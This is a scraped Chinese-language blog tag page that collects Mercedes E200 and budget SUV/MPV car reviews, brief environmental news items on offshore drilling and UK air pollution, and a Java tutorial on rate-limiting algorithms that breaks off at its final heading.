標籤: 貨運

  • 這才是德原E 試駕奔馳標準軸距E200四驅版

    這才是德原E 試駕奔馳標準軸距E200四驅版

    如果你身邊有朋友購買C級或者CLA之類,你就會聽到他們抱怨後悔沒有加裝柏林之聲。在我的選購清單里,奔馳的車一定要選裝柏林之聲,畢竟奔馳給出了7600元的誠意價,這個可以說是奔馳選裝清單里,最值得花錢的一項。不過,我也特意去了奔馳展廳聽了乞丐版標軸E200的原車音響,竟然表現還可以,明顯比奔馳C級和CLA要更好。

    去年10月,去德國奔馳工廠和博物館,在廠區和館內,見到了德國版的新款E級,頓時被毒到了!我一直是標準軸距的捍衛者,因為它更接近原版設計,儘管在中國先期上市的加長軸距的E級,足夠豪華大氣,但我對標準軸距E級的期待卻一刻也沒有停止。

    終於,在2016年11月的廣州車展,標準軸距E級發布了。

    車展過後,一直沒有機會試到這台國產標軸E級,直到12月底,我收到了梅賽德斯-奔馳南區的試駕邀請,我決定親自前往,會會這款我朝思暮想的車。

    這次的活動,是由梅賽德斯-奔馳南區組織,主題為“智者大成,E代宗師”——全新梅賽德斯-奔馳E級車南區媒體品鑒會。

    這裡有個小插曲,試駕后的晚宴上,北京梅賽德斯-奔馳銷售服務有限公司南區總經理何闊先生問起:“今天誰開了車隊內唯一一台標準軸距?”此時,我才意識到,自己成為這次活動第一個開到標軸E級的人。接下來,我將為大家講述試駕這台標軸E級的感受。

    E200 4MATIC的外觀

    標軸E200 4MATIC在中國的官方型號為E200 運動型 4MATIC(本文內以標準軸距E200或標軸E200稱呼),它的外觀,和德國版E級保持一致,相比起長軸距E200L,它更接近奔馳C200的造型,只是更大氣了。

    標軸E200軸距為2939毫米,這比加長的E200L足足短了140毫米,體現在車內空間上,確實有着很大的差異。在中國市場,多數人衡量一輛50萬的行政車,都是以車長和後座空間來評判,如果以這個角度看,標軸E200空間有點拿不出手。

    對於喜歡標軸E200的消費者來說,建議大家帶媳婦去看車的時候,就繞過長軸版E200L,直接看標軸,只要不對比,相信我,標軸E200空間夠了!不信看下圖

    標軸E200的側後方45度,是區分長軸和標軸的重要部分,在我看來,標軸E200這個角度極為性感,比長軸顯得更加幹練,線條也更運動。

    作為一輛50萬級別豪華行政車,輪胎往往都很注重舒適性,然而你知道奔馳有多瘋嗎?前245/45/R19,后275/35/R19的倍耐力p7,這個規格拿來應付AMG都沒問題了,就沖這四條輪胎,這台E200標軸對運動的態度,我喜歡!

    E200 4MATIC的內飾

    新E級最強部分並不是外觀,而是內飾。其實從國際版E級來看,起碼有超過4種風格內飾搭配,標軸E200隻是選擇了幾何紋理的鋁製飾條這種風格而已,可能是北京奔馳覺得這種風格更運動,不過不可否認,我本人很愛這種范兒。

    標軸E200的物理儀錶盤也是頗有爭議,我聽好幾個人提到這個物理儀錶盤和E級整體儀錶和中控液晶設計格格不入,但我必須說,蘿蔔青菜各有所愛,我本人就特別喜歡這種物理儀錶盤,我覺得很別緻,而且對於這種显示時速和轉速的關鍵部件,我還是更加信賴机械!

    我們試駕的這台標軸E200選裝了空氣懸挂,我查詢了一下,加裝價格為19900元,目前來看,只有標軸E級可以選裝空氣懸挂,加長軸距E級是無法加裝空氣懸挂的,這一點來看,標軸E級的逼格還是很高的。

    如果你身邊有朋友購買C級或者CLA之類,你就會聽到他們抱怨後悔沒有加裝柏林之聲。在我的選購清單里,奔馳的車一定要選裝柏林之聲,畢竟奔馳給出了7600元的誠意價,這個可以說是奔馳選裝清單里,最值得花錢的一項!

    不過,我也特意去了奔馳展廳聽了乞丐版標軸E200的原車音響,竟然表現還可以,明顯比奔馳C級和CLA要更好!但我仍然強烈建議你去選裝柏林之聲(土豪選44000套餐,普通人選7600元套餐即可),音效改善很大!

    標軸E200也可以選裝HUD(抬頭显示,奔馳叫平視显示),選裝價格8900元,略貴,如果能控制在5000元內,將會成為我第二推薦選裝的配置。

    這台標軸E200試駕車的全景天窗看着是很銷魂的,前半部分打開的面積也令人滿意。不過,E200車型是需要選裝的,價格5800元,如果你購買的是E300,則是標配,不用花錢了。

    座椅中間部分採用了Alcantara材質(用於增強摩擦力),兩側的護翼显示出不錯的包裹性,一眼看上去就覺得很運動!

    E200 4MATIC的駕駛感受

    終於要說最關鍵的駕駛部分了,E200 4MATIC搭載的是2.0T低功率發動機,這台發動機我在試C200和C200L時就體驗過。184馬力,300牛米的數據並不算起眼,但也足夠讓這台E200跑得很開心。

    在市區,這副引擎還是完全夠用,即使拖着一套四驅系統,依然起步比較有力,在我看來,城市道路上這套動力搭配四驅是很好的組合,平穩、安全、平順。但是上了高速后,我發現它開始有點不從容了。

    不過也不必擔心,當你需要超車時,只要用撥片換擋稍微降一擋,動力立刻來了,等轉速拉高后,儀錶盤會提示你升擋,此時你按下右側換擋撥片升擋,即可完成超車。

    整個過程潤物細無聲,極為平順,沒有任何頓挫,只要你銜接得好,坐車的毫無察覺你在換擋,必須要為奔馳的這套9AT點個贊。

    該說說標軸和長軸在駕駛上的差別了,應該說標軸確確實實更加靈活,車身更加緊緻,但是差距並不是極為明顯,只有在一些極端情況下才會有明顯感覺。

    我承認,如果拿空間去換標軸的這一點點操控優勢,我會有點動搖,畢竟長軸的E級後排向S看齊,更豪華更舒適。

    我猜測,這次試駕車上選裝的空氣懸挂可能影響到了我,它偏向舒適調校,回程較長,它在一定程度上給標軸E200幫了倒忙,我期待能夠有機會試試沒有加裝空氣懸挂的標軸E200或者標軸E300。

    最終以這次的試駕結果來看,標軸依然是我個人的最愛,但長軸E將成為我推薦給消費者的首選!其它的,等我試過沒有空氣懸挂的標軸E再說……

    本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 燃燒的西伯利亞:北極野火碳排量創紀錄 已較2019全年高出35%

    環境資訊中心綜合外電;姜唯 編譯;林大利 審校

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

  • 選前56天轉彎 川普延長佛州外海鑽油禁令

    摘錄自2020年9月9日中央社報導

    通常力挺石油業的美國總統川普,今天(8日)宣布延長佛羅里達州外海不得探鑽原油的十年禁令,藉此在11月總統大選前鞏固佛州選票。墨西哥東部的鑽油禁令原定2022年到期,如今延至2032年,範圍延伸到佛州、喬治亞州與南卡羅來納州的大西洋沿岸。

    與川普角逐白宮大位的民主黨候選人拜登(Joe Biden)則立即回應說,「幾個月前,川普才計劃允許在佛州離岸鑽探石油與天然氣。現在,在選前56天,他馬上改變心意,令人難以置信」。

    這項決定與川普政府先前的各項行動形成強烈對比,尤其是8月中才剛批准法案,開放阿拉斯加州北極熊棲息的野生動物保護區來鑽探石油與天然氣。而在2018年,白宮也說有意幾乎全面開放美國離岸水域來鑽探石油。這項決定在許多州遭遇反對,目前仍卡在司法戰之中。

    土地利用
    能源轉型
    國際新聞
    美國
    石油
    鑽探

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 英國空污嚴重超標 6成人口呼吸髒空氣

    摘錄自2020年9月8日台灣醒報報導

    在去年,有3000多萬名英國人,生活在骯髒的空氣中。英國去年共有超過100處監測站,出現空氣汙染超過標準值,換算約影響超過3,000萬人,其中受影響的兒童更高達700萬人。

    英國工黨從政府公布的數據分析後發現,會危害人體呼吸道系統的二氧化氮,在英國共有142處已超過法定標準。而絕大多數二氧化氮來自車輛,其中一半是汽車、25%是發電廠,其餘則來自其他工業或民生來源。

    對於空汙過於嚴重,工黨呼籲英國政府將降低空氣汙染達到世界衛生組織標準的目標列入環保法案中。工黨環境發言人波拉德表示,「接近6成英國人口受到不合規定的空氣汙染危害,真是令人無法接受。不管住在哪裡,人人都有權呼吸到好的乾淨空氣。」

    據倫敦皇家內科醫師學會估計,由於空污造成健康危害,讓英國必須付出200億英鎊(約台幣7,892億元)的代價。至於二氧化氮超標的地區大多數都位於大倫敦地區,包括格林威治與倫敦市等地。除此之外,南方的伯恩茅斯與東北部的蓋茨黑德也是超標地區。

    污染治理
    環境新聞
    國際新聞
    英國
    空氣污染
    二氧化氮

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 小編辣評6-8萬熱門SUV!說完會不會被炒魷魚?

    小編辣評6-8萬熱門SUV!說完會不會被炒魷魚?

    前置后驅載貨也是一流的,但1。6L動力剛好夠用而已。想動力強加錢上1。5T吧”東風風光580指導價:7。29-9。99萬“又一款7座中型SUV,價格也與長安CX70相似,硬抗的節奏。不過衝著配置以及顏值,我選風光580”東風風神AX3指導價:6。

    在留言中,小編總是會遇到很多很多的留言,都是詢問某某車型是怎樣的。那麼今天小編就來一個超大的集合,簡單但客觀地評論6-8萬區間的SUV熱門車型。這樣的評論小編真擔心自己的飯碗吶~

    寶駿560

    指導價:6.98-10.58萬

    “寶駿神車物美價廉,空間大油耗低配置高,但就是底盤表現沒有那麼的SUV。”

    北汽幻速S2

    指導價:5.18-6.08萬

    “價格非常低的SUV車型滿足你的SUV夢,空間還是可以的,但底盤以及操控還是別想着太SUV”

    北汽幻速S3

    指導價:5.38-6.68萬

    “就問你,五萬多的7座緊湊型SUV還想着怎樣?不過小編覺得要是出五座版本的話,空間表現絕對是逆天的”

    紳寶X35

    指導價:6.58-8.88萬

    “總體中規中矩沒有太多亮點,但是來自北汽紳寶讓它可靠性更高,內飾也挺對年輕人口味”

    比速T3

    指導價:7.49-8.69萬

    “配置水平極高,使用的還是1.3T渦輪增壓發動機,就是比速的4S店在哪裡?”

    比亞迪元

    指導價:7.49-8.69萬

    “國產中最愛堆配置的品牌,顏值頗高,背着小書包非常個性,但就看合不合你胃口”

    長安CX70

    指導價:6.89-10.99萬

    “不到7萬買到中型7座SUV,還能有誰?前置后驅載貨也是一流的,但1.6L動力剛好夠用而已。想動力強加錢上1.5T吧”

    東風風光580

    指導價:7.29-9.99萬

    “又一款7座中型SUV,價格也與長安CX70相似,硬抗的節奏?不過衝著配置以及顏值,我選風光580”

    東風風神AX3

    指導價:6.97-8.77萬

    “啊?原來這貨是SUV,我還以為是旅行車呢?顏值不錯,但性價比比較一般”

    東南DX3

    指導價:6.79-10.09萬

    “要顏值有顏值,要操控有操控,年輕人的最愛,後輪還是多連桿式獨立懸架。”

    哈弗H1

    指導價:5.49-7.89萬

    “別以為長城M2換了一個馬甲我就不認得你,ESp配置率較高值得推薦,但其餘都是中規中矩”。

    大邁X5

    指導價:6.99-12.19萬

    “你覺得它外觀像誰呢?配置外觀表現優秀,但就是做工方面以及質感方面需要加強”

    小編總結:

    對這個價位的車型而言,成本的原因它們是無法做到盡善盡美的,要配置還是要動力?兩者都要做到的話,駕駛品質以及做工精細水平能保證嗎?所以小編覺得的是選擇滿足自己最大需求的車型就好了。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準

  • 成天喊着要SUV 這幾款只要5萬起你買不買?

    成天喊着要SUV 這幾款只要5萬起你買不買?

    值得一提的是,甚至還能在它身上看到換擋撥片。動力方面,1。5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用。至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸有時候總在想,SUV究竟還要火多久?是不是今後就要與傳統轎車“平分秋色”了?

    我不得而知。總之,存在即合理。叫獸可不是來探討這個高深的問題的,既然老老少少都對SUV抱有這麼大的熱情,倒不如成人之美,今天就推薦幾款市面上能買到(或即將上市)價格最親民並且還很靠譜的SUV,喜歡SUV的同學們可不要錯過。

    以下按價格由低到高的順序排列。

    江淮汽車 – 瑞風S2mini

    預售價:4.58 – 5.68萬

    瑞風S2mini的推出,更是將SUV的火爆演繹到了極致。這款定位在小型SUV – 瑞風S2之下的S2mini,幾乎是今後市面上能買到的最便宜的大廠SUV。

    正如它的造型一樣,呆萌的造型只賣獃萌的價格。作為江淮最入門的車型,瑞風S2mini同樣運用了江淮最新的家族設計,我們依然能在這個“小巧”的前臉上看到“寶瓶式”設計,看上去在呆萌中透露出一絲狠勁,挺好。

    外掛式備胎算是S2mini的一大亮點,從後方看去就像一位背着書包的壞小子,竟毫無違和感;3775*1685*1775mm的車身也能體現其“小學生”的身份。

    內飾倒是讓人眼前一亮,紅黑色的搭配彰顯了年輕人的活力,頂配車型甚至還採用了皮質包裹,對於這麼一款售價的SUV來說,有點意思。

    動力則搭載一台1.3L自然吸氣發動機,最大馬力99ps,峰值扭矩為126Nm,這樣的參數對於這麼一個“小身材”綽綽有餘;與發動機匹配的只有一台5MT變速箱。

    叫獸點評:升高几厘米底盤,冠上SUV稱號的S2mini未來的市場一定會比同價位轎車快活得多。

    長城汽車 – 哈弗H1

    指導價:5.49 – 7.89萬

    H6銷量的恐怖程度相信大家早有耳聞,叫獸的印象中,國內月銷量超8萬的單一車型除了五菱宏光就是H6了。作為哈弗家族的入門產品,H1的表現如何呢?

    你可以認為H1就是從M4拉皮而來,但不可否認的是,H1擁有同級SUV里較高的顏值。碩大的蜂窩式黑色格柵,看上去頗有幾分氣勢。

    車尾設計精緻幹練,如果說S2mini是個調皮的小子,那H1更像位體育委員。別多想,這排氣孔只是裝飾,唬人的。

    內飾給人的驚喜很大,雖然有些某豪華品牌的設計元素在裏面,不過從視覺層面來看還是挺讓人滿意的。值得一提的是,甚至還能在它身上看到換擋撥片。

    動力方面,1.5L自然吸氣發動機加5MT的搭配,性能方面不用擔心,完全夠用;至於另外一台AMT變速箱,畢竟受限於成本,性能方面肯定不及CVT,但相比那些只有純手動擋的對手來說也算得上一優勢。

    叫獸點評:長城的功底還是不錯的,更推薦手動版本。

    長安汽車 – CS15

    指導價:5.79 – 7.79萬

    近幾年,長安的“CS系列”死磕長城哈弗,雖然整體銷量還有些距離,但也算混的順風順水。CS15則是很有力的證明。

    CS15擁有比以上兩款更接近SUV的造型,造型上採用高度原創的設計,看上去也更討喜。

    內飾部分同樣令人滿意,看上去似乎亮點不多,不過長安紮實的做工和用料還是對得起它的價格的。

    除了同樣是1.5L + 5MT的動力組合外,CS15最大的看點在於它是同級車型里鮮有配備了雙離合變速箱的車型。換擋表現不敢說多麼平順,但比起AMT變速箱還是有明顯優勢的。這一點也能讓其吸引更多潛在客戶的關注。

    叫獸點評:6、7萬的自動擋SUV,非CS15莫屬。

    上汽通用五菱 – 寶駿510

    預售價:5.98 – 7.58萬

    510這款車不用多說,自去年廣州車展亮相后就受到了極大關注,不難預料,這即將成為寶駿又一爆款車型。

    天馬行空的車頭設計不用多介紹了,叫獸認為這個設計起碼向上越了兩級,這也將成為510未來競爭的最大殺手鐧。

    內飾部分,叫獸認為510是以上幾款車裡最值得表揚的。無論是設計還是用料均達到了主流水平,重點是,這是原創設計喲!

    動力搭載的是與730同款的L2B 1.5L自然吸氣發動機,性能和可靠性自然無須擔心。唯一遺憾的是,先期並沒有提供自動擋版本。

    叫獸點評:近兩年寶駿推出的車型幾乎都成為爆款,不用多想,510又要革了小型SUV市場的命。

    THE

    END

    總結

    誰說便宜無好貨?當工業發展到一定程度,成本和設計都成熟以後,依然能推出物美價廉的產品。如果你對SUV情有獨鍾並且預算有限,這幾款是個非常不錯的選擇。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 5-10萬預算還想買7座?這些車是全民認證的好!

    5-10萬預算還想買7座?這些車是全民認證的好!

    08-9。28萬寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    在5-10萬元這個價位,如果單論哪種車子的實用性最高,小編肯定會不假思索的推薦MpV(微面),因為這些車子價格非常實惠,質量很好,空間很大,拉人載貨都非常方便。所以小編就給大家推薦幾款2016年全年銷量比較好的MpV。

    上汽通用五菱-五菱宏光

    指導價:4.18-6.98萬

    其實第一不用說大家就猜到是五菱宏光,中華神車五菱宏光在2016年12月份的銷量高達82543輛,2016年全年累計銷量為650018輛,這樣高調的銷量數據估計只有美國的皮卡福特F-150可以媲美了。雖然五菱宏光的發動機沒法和大排量V8的F-150相比,但是宏光價格要便宜很多啊!而且,宏光可以盡情的甩尾漂移,這點F-150不好做到吧!畢竟宏光也是征服過秋名山的选手。

    宏光的不同車型的車身尺寸略有差異,但是軸距都為2720mm,座位數為5-8個不等。當然低配的宏光是不可能有中控大屏幕的,畢竟車價較低,不過,有了中控大屏,宏光的中控看起來立馬高端很多。

    宏光的動力系統為1.2L 86馬力/1.5L 112馬力+5擋手動,別看宏光馬力較小,但是宏光的定位是微面,就是用來干粗活的,所以即使是滿載,只要油門轟起來,也不會感到動力不足。

    上汽通用五菱-寶駿730

    指導價:6.08-9.28萬

    寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。

    雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

    寶駿730的動力選擇很豐富,有自吸、同時也有渦輪發動機,甚至還有AMT車型可供消費者選擇。其實小編認為如果只是偶爾拉貨,多數情況是坐人的話,那麼最好還是選擇730吧!畢竟730前置前驅結構,噪音要比宏光小很多,同時整車的質感和配置也要明顯強於宏光,多花兩萬元還是比較值得的!

    長安汽車-歐尚

    指導價:5.19-6.49萬

    長安歐尚2016年全年的銷量為118185輛,表現還算不錯,歐尚的車身尺寸為4465*1725*1685/1700mm,軸距為2680mm。全系均為七座車型。

    內飾的造型絕對對得起這個價位,全黑的中控看起來質感很不錯,甚至有種比較高檔的感覺,不過內飾的用料肯定是以硬塑料為主了,畢竟價位有限么,可以理解。

    其實歐尚的性價比挺不錯的,絕對不比730的性價比低,畢竟6.49萬的歐尚就有ESp、上坡輔助、電動天窗、真皮方向盤、前/后駐車雷達、倒車視頻影像、仿皮座椅、GpS導航、中控大屏、藍牙、後座出風口等配置,關鍵是歐尚的優惠比730要大不少,如果不介意歐尚的尺寸小於730的話,那麼歐尚還是很值得入手的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 最近學習了限流相關的算法

    最近學習了限流相關的算法

    最近測試team在測試過程中反饋部分接口需要做一定的限流措施,剛好我也回顧了下限流相關的算法。常見限流相關的算法有四種:計數器算法, 滑動窗口算法, 漏桶算法, 令牌桶算法

    1.計數器算法(固定窗口)

     計數器算法是使用計數器在周期內累加訪問次數,當達到設定的閾值時就會觸發限流策略。下一個周期開始時,清零重新開始計數。此算法在單機和分佈式環境下實現都非常簡單,可以使用Redis的incr原子自增和線程安全即可以實現

     這個算法常用於QPS限流和統計訪問總量,對於秒級以上周期來說會存在非常嚴重的問題,那就是臨界問題,如下圖:

     假設我們設置的限流策略時1分鐘限制計數100,在第一個周期最後5秒和第二個周期的開始5秒,分別計數都是88,即在10秒時間內計數達到了176次,已經遠遠超過之前設置的閾值,由此可見,計數器算法(固定窗口)限流方式對於周期比較長的限流存在很大弊端。

     Java 實現計數器(固定窗口):

    package com.brian.limit;
    
    import java.util.concurrent.*;
    import java.util.concurrent.atomic.AtomicInteger;
    
    import lombok.extern.slf4j.Slf4j;
    
    /**
     * 固定窗口
     */
    @Slf4j
    public class FixWindow {
    
        private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);
    
        private final int limit = 100;
    
        private AtomicInteger currentCircleRequestCount = new AtomicInteger(0);
    
        private AtomicInteger timeCircle = new AtomicInteger(0);
    
        private void doFixWindow() {
            scheduledExecutorService.scheduleWithFixedDelay(() -> {
                log.info(" 當前時間窗口,第 {} 秒 ", timeCircle.get());
                if(timeCircle.get() >= 60) {
                    timeCircle.set(0);
                    currentCircleRequestCount.set(0);
                    log.info(" =====進入新的時間窗口===== ");
                }
                if(currentCircleRequestCount.get() > limit) {
                    log.info("觸發限流策略,當前窗口累計請求數 : {}", currentCircleRequestCount);
                } else {
                    final int requestCount = (int) ((Math.random() * 5) + 1);
                    log.info("當前發出的 ==requestCount== : {}", requestCount);
                    currentCircleRequestCount.addAndGet(requestCount);
                }
               timeCircle.incrementAndGet();
            }, 0, 1, TimeUnit.SECONDS);
        }
    
        public static void main(String[] args) {
            new FixWindow().doFixWindow();
        }
        
    }

    2.滑動窗口算法

     滑動窗口算法是將時間周期拆分成N個小的時間周期,分別記錄小周期裏面的訪問次數,並且根據時間的滑動刪除過期的小周期。如下圖,假設時間周期為1分鐘,將1分鐘再分為2個小周期,統計每個小周期的訪問數量,則可以看到,第一個時間周期內,訪問數量為92,第二個時間周期內,訪問數量為104,超過100的訪問則被限流掉了。

     

     由此可見,當滑動窗口的格子劃分的越多,那麼滑動窗口的滾動就越平滑,限流的統計就會越精確。此算法可以很好的解決固定窗口算法的臨界問題。

      Java實現滑動窗口:

    package com.brian.limit;
    
    import java.util.concurrent.*;
    import java.util.concurrent.atomic.AtomicInteger;
    import lombok.extern.slf4j.Slf4j;
    
    /**
     * 滑動窗口
     * 
     * 60s限流100次請求
     */
    @Slf4j
    public class RollingWindow {
    
        private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);
    
        // 窗口跨度時間60s
        private int timeWindow = 60;
    
        // 限流100個請求
        private final int limit = 100;
    
        // 當前窗口請求數
        private AtomicInteger currentWindowRequestCount = new AtomicInteger(0);
    
        // 時間片段滾動次數
        private AtomicInteger timeCircle = new AtomicInteger(0);
    
        // 觸發了限流策略后等待的時間
        private AtomicInteger waitTime = new AtomicInteger(0);
    
        // 在下一個窗口時,需要減去的請求數
        private int expiredRequest = 0;
    
        // 時間片段為5秒,每5秒統計下過去60秒的請求次數
        private final int slidingTime = 5;
    
        private ArrayBlockingQueue<Integer> slidingTimeValues = new ArrayBlockingQueue<>(11);
    
        public void rollingWindow() {
            scheduledExecutorService.scheduleWithFixedDelay(() -> {
    
                if (waitTime.get() > 0) {
                    waitTime.compareAndExchange(waitTime.get(), waitTime.get() - slidingTime);
                    log.info("=====當前滑動窗口===== 限流等待下一個時間窗口倒計時: {}s", waitTime.get());
                    if (currentWindowRequestCount.get() > 0) {
                        currentWindowRequestCount.set(0);
                    }
                } else {
                    final int requestCount = (int) ((Math.random() * 10) + 7);
                    if (timeCircle.get() < 12) {
                        timeCircle.incrementAndGet();
                    }
                    
                log.info("當前時間片段5秒內的請求數: {} ", requestCount);
                currentWindowRequestCount.addAndGet(requestCount);
                log.info("=====當前滑動窗口===== {}s 內請求數: {} ", timeCircle.get()*slidingTime , currentWindowRequestCount.get());
    
                if(!slidingTimeValues.offer(requestCount)){
                    expiredRequest =  slidingTimeValues.poll();
                    slidingTimeValues.offer(requestCount);
                } 
    
                if(currentWindowRequestCount.get() > limit) {
                    // 觸發限流
                    log.info("=====當前滑動窗口===== 請求數超過100, 觸發限流,等待下一個時間窗口 ");
                    waitTime.set(timeWindow);
                    timeCircle.set(0);
                    slidingTimeValues.clear();
                } else {
                    // 沒有觸發限流,滑動下一個窗口需要,移除相應的:在下一個窗口時,需要減去的請求數
                    log.info("=====當前滑動窗口===== 請求數 <100, 未觸發限流,當前窗口請求總數: {},即將過期的請求數:{}"
                            ,currentWindowRequestCount.get(), expiredRequest);
                    currentWindowRequestCount.compareAndExchange(currentWindowRequestCount.get(), currentWindowRequestCount.get() - expiredRequest);
                }
            }   
            }, 5, 5, TimeUnit.SECONDS);
        }
    
        public static void main(String[] args) {
            new RollingWindow().rollingWindow();
        }
        
    
    }

    計數器(固定窗口)和滑動窗口區別:

    計數器算法是最簡單的算法,可以看成是滑動窗口的低精度實現。滑動窗口由於需要存儲多份的計數器(每一個格子存一份),所以滑動窗口在實現上需要更多的存儲空間。也就是說,如果滑動窗口的精度越高,需要的存儲空間就越大。

    3.漏桶算法

     漏桶算法是訪問請求到達時直接放入漏桶,如當前容量已達到上限(限流值),則進行丟棄(觸發限流策略)。漏桶以固定的速率進行釋放訪問請求(即請求通過),直到漏桶為空。

     Java實現漏桶:

    package com.brian.limit;
    
    import java.util.concurrent.*;
    
    import lombok.extern.slf4j.Slf4j;
    
    /**
     * 漏桶算法
     */
    @Slf4j
    public class LeakyBucket {
        private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);
    
        // 桶容量
        public  int capacity = 1000;
        
        // 當前桶中請求數
        public int curretRequest = 0;
    
        // 每秒恆定處理的請求數
        private final int handleRequest = 100;
    
        public void doLimit() {
            scheduledExecutorService.scheduleWithFixedDelay(() -> {
                final int requestCount = (int) ((Math.random() * 200) + 50);
                if(capacity > requestCount){
                    capacity -= requestCount;
                    log.info("<><>當前1秒內的請求數:{}, 桶的容量:{}", requestCount, capacity);
                    if(capacity <=0) {
                        log.info(" =====觸發限流策略===== ");
                    } else {
                        capacity += handleRequest;
                        log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity);
                    }
                } else {
                    log.info("<><><><>當前請求數:{}, 桶的容量:{},丟棄的請求數:{}", requestCount, capacity,requestCount-capacity);
                    if(capacity <= requestCount) {
                        capacity = 0;
                    }
                    capacity += handleRequest;
                    log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity);
                }
            }, 0, 1, TimeUnit.SECONDS);
        }
    
        public static void main(String[] args) {
            new LeakyBucket().doLimit();
        }
    }

     漏桶算法有個缺點:如果桶的容量過大,突發請求時也會對後面請求的接口造成很大的壓力。

    4.令牌桶算法

     令牌桶算法是程序以恆定的速度向令牌桶中增加令牌,令牌桶滿了之後會丟棄新進入的令牌,當請求到達時向令牌桶請求令牌,如獲取到令牌則通過請求,否則觸發限流策略。

     

     Java實現令牌桶:

    package com.brian.limit;
    
    import java.util.concurrent.*;
    
    import lombok.extern.slf4j.Slf4j;
    /**
     * 令牌桶算法
     */
    @Slf4j
    public class TokenBucket {
        private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5);
    
        // 桶容量
        public  int capacity = 1000;
        
        // 當前桶中請求數
        public int curretToken = 0;
    
        // 恆定的速率放入令牌
        private final int tokenCount = 200;
    
        public void doLimit() {
            scheduledExecutorService.scheduleWithFixedDelay(() -> {
                
                new Thread( () -> {
                    if(curretToken >= capacity) {
                        log.info(" =====桶中的令牌已經滿了===== ");
                        curretToken = capacity;
                    } else {
                        if((curretToken+tokenCount) >= capacity){
                          log.info(" 當前桶中的令牌數:{},新進入的令牌將被丟棄的數: {}",curretToken,(curretToken+tokenCount-capacity));
                          curretToken = capacity;
                      } else {
                          curretToken += tokenCount;
                      }
                    }
                }).start();
    
                new Thread( () -> {
                    final int requestCount = (int) ((Math.random() * 200) + 50);
                    if(requestCount >= curretToken){
                        log.info(" 當前請求數:{},桶中令牌數: {},將被丟棄的請求數:{}",requestCount,curretToken,(requestCount - curretToken));
                        curretToken = 0;
                    } else {
                        log.info(" 當前請求數:{},桶中令牌數: {}",requestCount,curretToken);
                        curretToken -= requestCount;
                    }
                }).start();
            }, 0, 500, TimeUnit.MILLISECONDS);
        }
    
        public static void main(String[] args) {
            new TokenBucket().doLimit();
        }
        
    }

    漏桶算法和令牌桶算法區別:

